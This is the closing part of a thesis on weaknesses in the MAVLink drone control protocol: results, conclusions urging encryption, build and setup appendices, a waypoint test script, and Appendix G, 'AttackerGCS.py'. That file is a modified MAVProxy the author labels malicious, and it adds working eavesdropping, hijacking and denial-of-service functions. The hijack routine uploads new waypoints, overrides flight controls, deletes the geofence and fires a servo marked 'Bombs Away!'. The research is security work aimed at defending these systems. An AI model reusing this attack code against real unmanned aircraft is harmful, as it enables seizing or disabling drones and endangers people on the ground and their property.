research omits packet loss as a metric because the experiments are designed to simulate
the most common UAS application: a single GCS, a single UAV. The packet loss may
negatively aﬀect the latency metric, as the ACK to a command may be lost, resulting in a
higher latency measurement than would be observed under reduced packet loss.
Three ﬁnal observations related to packet loss that warrant further investigation in
future work:
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1. Link loss is frequent in MAVProxy when the “number of channels” setting in the
3DR radio conﬁguration is greater than two. Link loss is minimal when there are
only two channels in this setting, thus this parameter is set at “2” for laboratory
experiments. Frequent link loss is a common problem during ﬁeld experiments where
the number of channels setting is “50” and the duty cycle setting is zero because the
radio cannot transmit to re-synchronize the frequency hop [And13].
2. The GCS demonstrates diﬃculty connecting to the APMwhenMAVProxy is running
and the duty cycle setting is “100” on the attacker system. There is no diﬃculty
connecting to the APM from the GCS whenMAVProxy is not running on the attacker
system, which leads to the established sequence in Section 4.9.
3. Waypoints and fences do not upload from the GCS to the APM while MAVProxy
was running and the duty cycle setting is “100” on the attacker system. There is
no diﬃculty uploading waypoints or fences when MAVProxy is not running on the
attacker system, which leads to the established sequence in Section 4.9.
These three notable observations are likely due to desynchronization caused by the
systems “ﬁghting” for the designated transmission time slot in the TDM of the protocol.
Because the MAVLink protocol is designed to be point-to-point, and there is more than one
system communicating with the APM, the GCS and attacker systems are competing for the
designated time-slot in the TDM, leading to the observed lapses in communication.
5.6 Application of Results
Because the population analyzed in these experiments is not randomly selected,
and this is not a randomized study, inferences cannot be made from the results of the
experiments in this research, nor can inferences be made to a wider population. This
research does provide a methodology for attaining a baseline performance of the unsecured
MAVLink protocol for use in future performance analyses examining cryptographic
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solutions for securing the protocol. Field experiment results demonstrate the vulnerabilities
in the popular MAVLink protocol. The methodology used in this research can be applied to
vulnerability analyses of other UAV C 2 protocols, or can be modiﬁed to include additional
factors for a more comprehensive performance analysis of cryptographic implementations
to secure the MAVLink protocol.
Because UASs operating over the MAVLink protocol without a cryptographic solution
integrated in the UAV ﬁrmware and GCS application are vulnerable to attack, the real-world
impact of the experimental results in this research demonstrate how security is a “double-
edged sword.”
1. Any organization operating UAS that use the MAVLink protocol for command and
control should secure their systems with a cryptographic solution immediately to
avoid unauthorized control or attack.
2. A SUAV used by an attacker as a weapon or other aerial threat can be neutralized if
it is controlled using the MAVLink protocol.
5.7 Analysis and Results Summary
This chapter analyzes the results of the experiments deﬁned in Chapter 3 using the
conﬁguration detailed in Chapter 4 to accomplish the research goals of this thesis. A
cost function is deﬁned to quantify the combined performance and security cost associated
with using a cryptographic solution to protect the MAVLink protocol against exploitation.
Analysis of measured data is provided as a baseline for the cost of using the unsecured
MAVLink protocol for comparison in future performance analysis of cryptographic
implementations. Additional factors are also identiﬁed for consideration as input in future
analysis of cost evaluation using the cost function provided in this research.
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VI. Conclusions and Recommendations
6.1 Thesis Summary
The following goals are presented in Chapter 3 and analyzed in Chapter 5.
1) Assess the MAVLink protocol’s vulnerability to network attacks.
This thesis demonstrates that the MAVLink protocol is vulnerable to attacks against a
system’s CIA. Experimental results indicate an attacker can eavesdrop on communication
between an UAV and GCS, and can track the UAV’s movement, if the data-link conﬁgu-
ration settings are acquired. Additionally, the MAVLink protocol’s vulnerability to attacks
against integrity allow an attacker to eﬀectively hijack the UAV from its GCS. Finally, this
research demonstrates the MAVLink protocol’s vulnerability to DoS attacks that compro-
mise the availability of a UAV to be controlled by its GCS.
2) Identify a cryptographic method of securing the MAVLink protocol.
Chapter 2 proposes four diﬀerent cryptographic implementations that may be used to
secure the MAVLink protocol: NaCl, AES-GCM, the Rabbit cipher, and XXTEA. Al-
though this research does not conﬁrm any of these proposed solutions actually do secure
the MAVLink protocol, Chapter 3 and 5 provide an experimentally-tested foundation for
future examination into evaluating the cost of implementing the proposed solutions. Two
points worth remembering: (1) although the authenticated encryption provided by NaCl
and AES-GCM protects the availability of the UAV regarding OSI Layer-2 and above
communication, the UAV remains vulnerable to OSI Layer-1 attacks on availability (e.g.,
through frequency jamming) regardless of the method used to secure the C 2 communica-
tions. (2) Availability is also aﬀected by UHF channel contentions regardless of the chosen
defense protocol.
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3) Provide a methodology that quantiﬁes the cost of securing the MAVLink protocol.
Chapter 5 presents data analysis using the cost function deﬁned in Section 5.3 along
with the methodology discussed in Chapter 3 to provide a baseline cost of using the
unsecured MAVLink protocol for comparison in future cost evaluations of cryptographic
implementations to secure the protocol. Tests performed in this research indicate that the
APM 2.5 is suﬃciently equipped to secure the MAVLink C 2 protocol using NaCl, and
possibly other cryptographic solutions as well. These tests are not discussed in this research
because secure communication could not be established; however, the Mission Planner and
APM 2.5 source code modiﬁed to include cryptographic functions resulted in successful
device recognition, resulting in the development instructions provided in Appendices A
and B.
6.2 Recommendations for Future Work
This research can be extended in the following ways:
• The methodology discussed in Chapter 3 should be used to conduct a performance
analysis of the cryptographic solutions proposed in Section 2.6, or other solutions
(e.g., the Micro Rotor Enhanced Block Cipher (MREBC) [ElS13]), to secure the
MAVLink protocol and determine which implementation incurs the lowest cost.
Based on experience during this research, ﬂuency in the C and C# programming
languages is necessary to succeed in this endeavor.
• Analyzing the performance of securing the MAVLink protocol using hardware-based
encryption in an eﬀort to reduce latency while protecting the system from attacks
on CIA could provide empirical security recommendations. Because developers
aim to maximize use of the processing cycles in a micro-controller, oﬀ-loading
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the encryption to another component may allow for more processing time on the
reporting the telemetry and responding to commands from the GCS.
• The methodology discussed in Chapter 3 could be adapted to research UAV attack
detection and identiﬁcation by creating signatures based on certain metric values.
• Performance analysis of varying conﬁguration settings from Section 4.3 could
demonstrate a more eﬃcient conﬁguration of the UADS (i.e., has less impact on
network latency). Such an implementation could beneﬁt the SUAV and MAV
communities, as well as protect the surrounding population from the eﬀects of UAV
exploitation.
• This research could be replicated using Wi-Fi for the data-link to explore other
cryptographic implementations based on TCP/IP to secure the MAVLink protocol,
or other UAV C 2 protocols.
• This research could be validated by replicating the experiments in a HIL setup on a
packet-switched network using TCP/IP for communication instead of 3DR radios (as
the APM will not communicate via radio in a HIL setup).
6.3 Final Thoughts
The results of this research emphasize and reiterate the serious risk inherent in
unencrypted and unauthenticated C 2 communication over a wireless medium. Although
the MAVLink protocol was designed with focus on safety and availability, it is clear that
security must be a signiﬁcant consideration in the design of every system and protocol.
As demonstrated in the experiments of this research, “security through obscurity” is
tantamount to no security at all. With the diminishing cost of required hardware and
increasing availability of source code, there is no acceptable reason encryption and
authentication should not be implemented. Treating security as a property of software
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and hardware design, instead of an additional feature, will reduce the ability of malicious
users to take unauthorized control of remote systems, and potentially endanger surrounding
populations.
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Appendix A: Building the APM 2.5 Firmware in Microsoft Windows
1. Download and Install Notepad++ from
http://notepad-plus-plus.org/download/v6.5.3.html
2. Download and Install MinGW from
http://sourceforge.net/projects/mingw/ﬁles/latest/download?source=ﬁles
3. Download and Install Git from
http://github-windows.s3.amazonaws.com/GitHubSetup.exe
a. InWindows Explorer, navigate to the folder where the ArduPilot source code should
be downloaded.
b. Right-click in the Windows Explorer window and select “Git Bash”
c. In the Git Bash shell that is opened, type the following command to download the
ArduPilot source code:
git clone https://github.com/diydrones/ardupilot.git
4. Download and Unzip the custom ArduPilot Arduino Sketchpad from
http://ﬁrmware.diydrones.com/Tools/Arduino/ArduPilot-Arduino-1.0.3-gcc-4.7.2-windows.zip
5. To implement encryption to secure the MAVLink protocol, the ﬁles mavlink helpers.h
and mavlink types.h found in “ArduPlane-2.76→libraries→GCS MAVLink→ include→
mavlink→v1.0” will need to be modiﬁed in Notepad++ to include the encryption and
decryption functions.
6. In Windows Explorer, navigate to the unzipped folder from Step 5, and open the
arduino.exe ﬁle to enter the custom ArduPilot Arduino Sketchpad
7. In the Arduino Sketchpad application window that is opened from the previous step,
a. Select “File→Open”
b. Navigate to the “ArduPlane” folder found in the folder that was downloaded in
Step 3c.
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c. Open the ﬁle ArduPlane.pde
8. Click the “check” mark to “verify” the project and build the hex ﬁle (i.e., ﬁrmware) that
is uploaded to the APM 2.5 autopilot (or you can use the “.elf” binary that is generated as
a Software-in-the-Loop).
9. To upload the hex ﬁle to the APM 2.5 that was built in Step 8:
a. Connect the APM 2.5 autopilot to the computer via USB
b. Open the Device Manager and expand the “Ports (COM & LPT)” to identify the
COM port associated with the APM (labeled “ATmega2560”).
c. In the Arduino Sketchpad application used to build the ﬁrmware, ensure the APM
2.5 is selected by choosing from the menu “Tools→Build→Arduino Mega 2560”.
d. Select from the Arduino Sketchpad menu “Tools→Serial Port→[COM port for
connected APM 2.5]” (replacing [COM port for connected APM 2.5] with the COM port
shown associated with your connected APM 2.5 identiﬁed in step 9b).
e. In the Arduino Sketchpad, go to “File→Upload” to load the ﬁrmware you built in
Step 8 onto the connected APM 2.5 autopilot.
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Appendix B: Building the Mission Planner GCS in Microsoft Windows
1. Download and Install the Mission Planner application from
http://ardupilot.com/downloads/?did=82
2. Download and Install MinGW from
http://sourceforge.net/projects/mingw/ﬁles/latest/download?source=ﬁles
3. Download and Install Git from
http://github-windows.s3.amazonaws.com/GitHubSetup.exe
4. To download the Mission Planner source code:
a. In Windows Explorer, navigate to the folder where the Mission Planner source code
should be downloaded.
b. Right-click in the Windows Explorer window and select “Git Bash”
c. In the Git Bash shell that is opened, type the following command to download the
Mission Planner source code.
git clone https://github.com/diydrones/MissionPlanner.git
5. Download the Microsoft Visual Studio Express 2012 ISO downloader from
http://go.microsoft.com/fwlink/?LinkId=255978
a. In Windows Explorer, navigate to the folder where you downloaded the ﬁle and
open it to download the Visual Studio 2012 ISO.
b. Burn to a DVD the .ISO image that was downloaded
c. Install Microsoft Visual Studio 2012 using the DVD burned in the previous step
6. To implement encryption to secure the MAVLink protocol, the ﬁles MAVLink.cs found
in “MissionPlanner→Mavlink” will need to be modiﬁed in Visual Studio 2012 to include
the encryption and decryption functions.
7. In Microsoft Visual Studio 2012, Press the “F7” key to Build the Mission Planner
solution that generates the executable application.
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8. To open the executable built in the previous step:
a. In Windows Explorer navigate to the Mission Planner folder downloaded in Step 3
b. Open the “bin” folder
c. Open the “Debug” folder
d. Open the MissionPlanner.exe ﬁle.
85
Appendix C: Installing MAVProxy in Kali Linux
Enter the following commands in sequence to install and run the MAVProxy GCS:
1. sudo apt-get update
2. sudo apt-get install pip-python python-opencv
3. pip install pymavlink mavproxy
4. Navigate to the folder where you want to download the source code for MAVProxy and
the pymavlink tools (e.g., cd \root\home\)
5. git clone https://github.com/tridge/MAVProxy.git
6. run setup.py (i.e., ./setup.py)
7. git clone https://github.com/tridge/mavlink.git
8. To use the modiﬁed attackerGCS.py on an attacker system:
a. Navigate to the MAVProxy folder
b. Open the mavproxy.py script using a text editor (e.g., leafpad mavproxy.py)
c. Replace all the parts of mavproxy.py provided in Appendix G
9. To run the MAVProxy command-line GCS, type ./mavproxy/py
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Appendix D: Conﬁguring the 3DR radio in MAVProxy on Kali Linux
Enter the following commands in sequence to change the 3DR radio conﬁguration
settings in the MAVProxy GCS (or substitute mavproxy.py with attackerGCS.py if
applicable):
1. Open a terminal and navigate to the MAVProxy folder.
2. After attaching the 3DR radio in an available USB port, type lsusb in the terminal to
identify which device ﬁle is associated with the radio (e.g., /dev/ttyUSB0).
3. To enter “setup” mode type: ./mavproxy.py --master=/dev/ttyUSB0 --baudrate
=57600 --aircraft="flight-name" --setup
a. “ttyUSB0” — device ﬁle identiﬁed in the previous step
b. “57600” — standard baud rate used for serial communication via 3DR radio
c. “ﬂight-name” — indicates the name you give the aircraft for easy identiﬁcation of
recorded, telemetry log ﬁles
d. “setup” — used to gain access to the radio conﬁguration utility
4. Immediately after entering the command from the previous step, type “+++” followed
by the Enter key to open the radio conﬁguration utility.
5. Type “ATI5” followed by the Enter key to display the current radio conﬁguration settings.
6. To change a setting, preﬁx the desired setting number with “ATS” follow by “=” and the
new value desired (e.g., “ATS4=12” to change the transmission power setting).
7. Repeat Step 6 for each setting requiring a diﬀerent value than displayed in Step 5.
8. After all settings are updated, type “AT&W” to write the values to the conﬁguration ﬁle.
9. Type “ATZ” to reboot the 3DR radio so the changes can take eﬀect.
10. Type “ATO” to leave the conﬁguration utility.
11. Press “control+C” to exit the MAVProxy (or attackerGCS.py) with setup mode
enabled.
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Appendix E: Analysis Tools
E.1 Convert Telemetry Logs to Readable ﬁles in Linux
Enter the following commands in a terminal in sequence to convert telemetry logs into
readable ﬁles:
1. sudo apt-get install git
2. Download the MAVLink library using the following command:
git clone https://github.com/tridge/mavlink.git
3. Navigate to the folder with mavlogdump.py: cd mavlink/pymavlink/tools
4. Replace the “ﬁle/path” in the following command with the ﬁle path to the telemetry log
you want converted, and replace the “save/to” with the destination ﬁle path where you want
the converted ﬁle saved:
./mavlogdump.py --robust --mav10 /file/path/flight.tlog > /save/to/telem.log
E.2 Extract the Data-Link Quality (% Packet Loss)
1. Follow steps 1 and 2 from Section E.1.
2. Navigate to the folder with mavloss.py: cd mavlink/pymavlink/tools
3. Replace the “ﬁle/path” in the following command with the ﬁle path to the telemetry log
you want converted, and replace the “save/to” with the destination ﬁle path where you want
the converted ﬁle saved:
./mavlogdump.py --robust --mav10 /file/path/flight.log >> /save/to/linkquality.txt
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Appendix F: ExpScript.py
#!/usr/bin python
’’’ Script created by security researcher Joe Marty ’’’
import sys, clr, time, datetime
import MissionPlanner #import *
clr.AddReference("MissionPlanner.Utilities") # including the Utilities
time.sleep(10)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Starting
Mission’
Script.ChangeMode("Guided")
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Guided Mode’
item = MissionPlanner.Utilities.Locationwp() # creating waypoint
lat = 39.343674
lng = -86.029741
alt = 45.720000
MissionPlanner.Utilities.Locationwp.lat.SetValue(item,lat)
MissionPlanner.Utilities.Locationwp.lng.SetValue(item,lng)
MissionPlanner.Utilities.Locationwp.alt.SetValue(item,alt)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ WP 1 set’
MAV.setGuidedModeWP(item)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Going to WP 1’
time.sleep(10)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Ready for next
WP’
lat = 39.345358
lng = -86.029054
alt = 76.199999
MissionPlanner.Utilities.Locationwp.lat.SetValue(item,lat)
MissionPlanner.Utilities.Locationwp.lng.SetValue(item,lng)
MissionPlanner.Utilities.Locationwp.alt.SetValue(item,alt)
89
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ WP 2 set’
MAV.setGuidedModeWP(item)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Going to WP 2’
time.sleep(10)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Ready for next
WP’
lat = 39.342106
lng = -86.031371
alt = 53.340000
MissionPlanner.Utilities.Locationwp.lat.SetValue(item,lat)
MissionPlanner.Utilities.Locationwp.lng.SetValue(item,lng)
MissionPlanner.Utilities.Locationwp.alt.SetValue(item,alt)
print ’WP 3 set’
MAV.setGuidedModeWP(item)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Going to WP 3’
time.sleep(10)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Ready for next
WP’
lat = 39.343540
lng = -86.028732
alt = 53.199999
MissionPlanner.Utilities.Locationwp.lat.SetValue(item,lat)
MissionPlanner.Utilities.Locationwp.lng.SetValue(item,lng)
MissionPlanner.Utilities.Locationwp.alt.SetValue(item,alt)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ WP 4 set’
MAV.setGuidedModeWP(item)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Going to WP 4’
time.sleep(10)
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Mission
Complete’
#MAV.setMode(RETURN_TO_LAUNCH)
Script.ChangeMode("RTL")
90
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ Returning to
Launch’
time.sleep(10)
Script.ChangeMode("LOITER")
print datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + ’ LOITERING’
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Appendix G: AttackerGCS.py
#!/usr/bin/env python
’’’
mavproxy - a MAVLink proxy program
Copyright Andrew Tridgell 2011
Released under the GNU GPL version 3 or later
original mavproxy.py file found @
https://github.com/tridge/MAVProxy/blob/master/MAVProxy/mavproxy.py
***This script, attackerGCS.py, is a malicious version of MAVProxy***
’’’
# Each addition & modification to the original MAVProxy.py script will
# have the comment ‘‘# ADDED’’
# A carriage-return is inserted into many lines to ensure entire code
# is visible in printed format
# NOTE: for reference throughout this script,
# timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f")
import sys, os, struct, math, time, socket, datetime # ADDED datetime
import fnmatch, errno, threading
import serial, Queue, select
import select
# allow running without installing
sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), ’..’))
from MAVProxy.modules.lib import textconsole
from MAVProxy.modules.lib import mp_settings
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class MPStatus(object):
/************************************SNIPPED**********************************/
def cmd_switch(args):
’’’handle RC switch changes’’’
mapping = [ 0, 1165, 1295, 1425, 1555, 1685, 1815 ]
if len(args) != 1:
print("Usage: switch <pwmvalue>")
return
value = int(args[0])
if value < 0 or value > 6:
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") +
"Invalid switch value. Use 1-6 for flight modes,
’0’ to disable") # ADDED timestamp
return
if opts.quadcopter:
default_channel = 5
else:
default_channel = 8
flite_mode_ch_parm = int(get_mav_param("FLTMODE_CH", default_channel))
mpstate.status.override[flite_mode_ch_parm-1] = mapping[value]
mpstate.status.override_counter = 10
send_rc_override()
if value == 0:
print("Disabled RC switch override")
else:
print("Set RC switch override to %u (PWM=%u channel=%u)" % (
value, mapping[value], flite_mode_ch_parm))
/************************************SNIPPED**********************************/
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def process_waypoint_request(m, master):
’’’process a waypoint request from the master’’’
if (not mpstate.status.loading_waypoints or
time.time() > mpstate.status.loading_waypoint_lasttime + 10.0):
mpstate.status.loading_waypoints = False
mpstate.console.error("not loading waypoints")
return
if m.seq >= mpstate.status.wploader.count():
mpstate.console.error("Request for bad waypoint %u (max %u)" % (m.seq,
mpstate.status.wploader.count()))
return
wp = mpstate.status.wploader.wp(m.seq)
wp.target_system = mpstate.status.target_system
wp.target_component = mpstate.status.target_component
master.mav.send(mpstate.status.wploader.wp(m.seq))
mpstate.status.loading_waypoint_lasttime = time.time()
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f
") + " Sent waypoint %u : %s" % (m.seq, mpstate.status.wploader.wp(m.seq)))
# ADDED timestamp
if m.seq == mpstate.status.wploader.count() - 1:
mpstate.status.loading_waypoints = False
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S
:%f") + " Sent all %u waypoints" % mpstate.status.wploader.count()) #
ADDED timestamp
/************************************SNIPPED**********************************/
def list_fence(filename):
’’’list fence points, optionally saving to a file’’’
mpstate.status.fenceloader.clear()
count = get_mav_param(’FENCE_TOTAL’, 0)
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if count == 0:
print("No geo-fence points")
return
for i in range(int(count)):
p = fetch_fence_point(i)
if p is None:
return
mpstate.status.fenceloader.add(p)
if filename is not None:
try:
mpstate.status.fenceloader.save(filename)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Fence
Saved") # ADDED timestamp
except Exception, msg:
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") +
" Unable to save %s - %s" % (
filename, msg)) # ADDED
timestamp
return
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Saved %u
geo-fence points to %s" % (mpstate.status.fenceloader.count(),
filename)) # ADDED timestamp +
else:
for i in range(mpstate.status.fenceloader.count()):
p = mpstate.status.fenceloader.point(i)
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M
:%S:%f") + " lat=%f lng=%f" % (p.lat, p.lng)) # ADDED timestamp
if mpstate.status.logdir != None:
fencetxt = os.path.join(mpstate.status.logdir, ’fence.txt’)
mpstate.status.fenceloader.save(fencetxt)
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "Saved
fence to %s" % fencetxt) # ADDED timestamp
/************************************SNIPPED**********************************/
def cmd_link(args):
for master in mpstate.mav_master:
linkdelay = (mpstate.status.highest_msec - master.highest_msec)*1.0e-3
if master.linkerror:
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " link
%u down" % (master.linknum+1)) # ADDED timestamp +
else:
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " link
%u OK (%u packets, %.2fs delay, %u lost, %.1f%% loss)" % (master.
linknum+1, mpstate.status.counters[’MasterIn’][master.linknum],
linkdelay, master.mav_loss, master.packet_loss())) # ADDED timestamp
def cmd_watch(args):
’’’watch a mavlink packet pattern’’’
if len(args) == 0:
mpstate.status.watch = None
return
mpstate.status.watch = args[0]
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Watching %s"
% mpstate.status.watch) # ADDED timestamp
/*********************************SNIPPED**********************************/
# ADDED this function to perform the eavesdropping attack
def scanUAV(args):
’’’eavesdrop on UAV’’’
print "Type Ctrl+C to exit"
try:
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time.sleep(5)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Displaying Status")
mpstate.status.show(sys.stdout, pattern=None)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Displayed Status")
time.sleep(1)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Displaying Link Quality")
cmd_link(0)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Link
Quality Displayed")
time.sleep(1)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f")+ " Flight
battery: %u%%" % mpstate.status.battery_level)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Battery
Displayed")
time.sleep(1)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Altitude
: %.1f" % mpstate.status.altitude)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Altitude
Displayed")
time.sleep(1)
mpstate.modules.append(import_package(’MAVProxy.modules.mavproxy_map’))
time.sleep(5)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Saving
Waypoints")
save_waypoints(’UAVwaypts.txt’)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Waypoints Saved")
time.sleep(6)
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Saving
Fence")
list_fence(’UAVfence.txt’)
time.sleep(5)
currentDTG = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f")
mpstate.status.watch = ’latlon’
print(currentDTG + " Watching %s" % mpstate.status.watch)
return
except KeyboardInterrupt as k:
print "[+]Ending the DOS"
except Exception as e:
print "[!]An exception has occurred",e
except:
print "[-]Unknown exit reason"
def hijackUAV(args): # ADDED this function to perform the hijacking attack
’’’Begin Command Injection Test’’’
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Hijacking
Script Initiated \nType Ctrl+C to exit")
try:
time.sleep(5)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Saving
Waypoints")
save_waypoints(’currentwaypoints.txt’)
time.sleep(10)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Loading
new waypoints to UAV")
load_waypoints(’AFwaypts.txt’)
time.sleep(10)
mpstate.master().set_mode_auto()
time.sleep(5)
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Start
Acrobatics Script")
mpstate.status.override[0] = 2000
mpstate.status.override_counter = 10
send_rc_override()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Rolling
Left")
time.sleep(1)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Leveling
Roll")
mpstate.status.override[7] = 1500
mpstate.status.override_counter = 10
send_rc_override()
time.sleep(1)
mpstate.status.override[0] = 1500
mpstate.status.override_counter = 10
send_rc_override()
mpstate.master().set_mode_auto()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Acrobatics Complete")
time.sleep(2)
mpstate.master().set_mode_loiter()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Mode set
to LOITER")
time.sleep(2)
mpstate.master().set_mode_manual()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Mode set
to MANUAL")
mpstate.master().waypoint_set_current_send(6)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Heading
to waypoint 6!")
time.sleep(3)
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param_set(’FENCE_TOTAL’, 0)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Fence
removed!")
time.sleep(2)
mpstate.master().set_servo(8, 1100)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Bombs
Away!")
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Hijacking Script Complete")
mpstate.master().set_mode_rtl()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Returning to Launch’")
return
except KeyboardInterrupt as k:
print "[+]Ending the Cmd Injection Test"
except Exception as e:
print "[!]An exception has occurred",e
except:
print "[-]Unknown exit reason"
def dosUAV(args): # ADDED this function to perform the Denial-of-Service attack
’’’launch DOS attack on UAV’’’
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Launching
DoS Attack \nType Ctrl+C to exit")
try:
time.sleep(5)
while 1:
# INFINITE LOOP!
# To loop "REBOOT" command instead: mpstate.master().reboot_autopilot()
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Setting Mode to LOITER")
mpstate.master().set_mode_loiter()
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Mode
= LOITER")
time.sleep(1)
except KeyboardInterrupt as k:
print "[+]Ending the DOS"
except Exception as e:
print "[!]An exception has occurred",e
except:
print "[-]Unknown exit reason"
/************************************SNIPPED**********************************/
command_map = {
’switch’ : (cmd_switch, ’set RC switch (1-5), 0 disables’),
’rc’ : (cmd_rc, ’override a RC channel value’),
’wp’ : (cmd_wp, ’waypoint management’),
’fence’ : (cmd_fence, ’geo-fence management’),
’param’ : (cmd_param, ’manage APM parameters’),
’setup’ : (cmd_setup, ’go into setup mode’),
’reset’ : (cmd_reset, ’reopen the connection to the MAVLink master’),
’status’ : (cmd_status, ’show status’),
’auto’ : (cmd_auto, ’set AUTO mode’),
’mode’ : (cmd_mode, ’set a mode’),
’ground’ : (cmd_ground, ’do a ground start’),
’level’ : (cmd_level, ’set level on a multicopter’),
’accelcal’: (cmd_accelcal, ’do 3D accelerometer calibration’),
’calpress’: (cmd_calpressure,’calibrate pressure sensors’),
’loiter’ : (cmd_loiter, ’set LOITER mode’),
’rtl’ : (cmd_rtl, ’set RTL mode’),
’manual’ : (cmd_manual, ’set MANUAL mode’),
’fbwa’ : (cmd_fbwa, ’set FBWA mode’),
’guided’ : (cmd_guided, ’set GUIDED target’),
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’set’ : (cmd_set, ’mavproxy settings’),
’bat’ : (cmd_bat, ’show battery levels’),
’alt’ : (cmd_alt, ’show relative altitude’),
’link’ : (cmd_link, ’show link status’),
’servo’ : (cmd_servo, ’set a servo value’),
’reboot’ : (cmd_reboot, ’reboot the autopilot’),
’up’ : (cmd_up, ’adjust TRIM_PITCH_CD up by 5 degrees’),
’watch’ : (cmd_watch, ’watch a MAVLink pattern’),
’module’ : (cmd_module, ’module commands’),
’alias’ : (cmd_alias, ’command aliases’),
’arm’ : (cmd_arm, ’ArduCopter arm motors’),
’disarm’ : (cmd_disarm, ’ArduCopter disarm motors’),
’scan’ : (scanUAV, ’Eavesdrop on UAV’), # ADDED this & next 2 to menu
’hijack’ : (hijackUAV, ’Run Command Injection Script to Hijack UAV’),
’dos’ : (dosUAV, ’Perform Denial of Service attack on UAV’)
}
/************************************SNIPPED**********************************/
def master_callback(m, master):
’’’process mavlink message m on master, sending any messages to recipients’’’
if getattr(m, ’_timestamp’, None) is None:
master.post_message(m)
mpstate.status.counters[’MasterIn’][master.linknum] += 1
if getattr(m, ’time_boot_ms’, None) is not None:
# update link_delayed attribute
handle_msec_timestamp(m, master)
mtype = m.get_type()
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# and log them
if mtype != ’BAD_DATA’ and mpstate.logqueue:
# put link number in bottom 2 bits, so we can analyse packet
# delay in saved logs
usec = get_usec()
usec = (usec & ˜3) | master.linknum
mpstate.logqueue.put(str(struct.pack(’>Q’, usec) + m.get_msgbuf()))
if mtype in [ ’HEARTBEAT’, ’GPS_RAW_INT’, ’GPS_RAW’, ’GLOBAL_POSITION_INT’, ’
SYS_STATUS’ ]:
if master.linkerror:
master.linkerror = False
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " link %u
OK" % (master.linknum+1))# ADDED timestamp
mpstate.status.last_message = time.time()
master.last_message = mpstate.status.last_message
if master.link_delayed:
# don’t process delayed packets that cause double reporting
if mtype in [ ’MISSION_CURRENT’, ’SYS_STATUS’, ’VFR_HUD’, ’GPS_RAW_INT’, ’
SCALED_PRESSURE’, ’GLOBAL_POSITION_INT’, ’NAV_CONTROLLER_OUTPUT’ ]:
return
if mtype == ’HEARTBEAT’ and m.get_srcSystem() != 255:
if (mpstate.status.target_system != m.get_srcSystem() or
mpstate.status.target_component != m.get_srcComponent()):
mpstate.status.target_system = m.get_srcSystem()
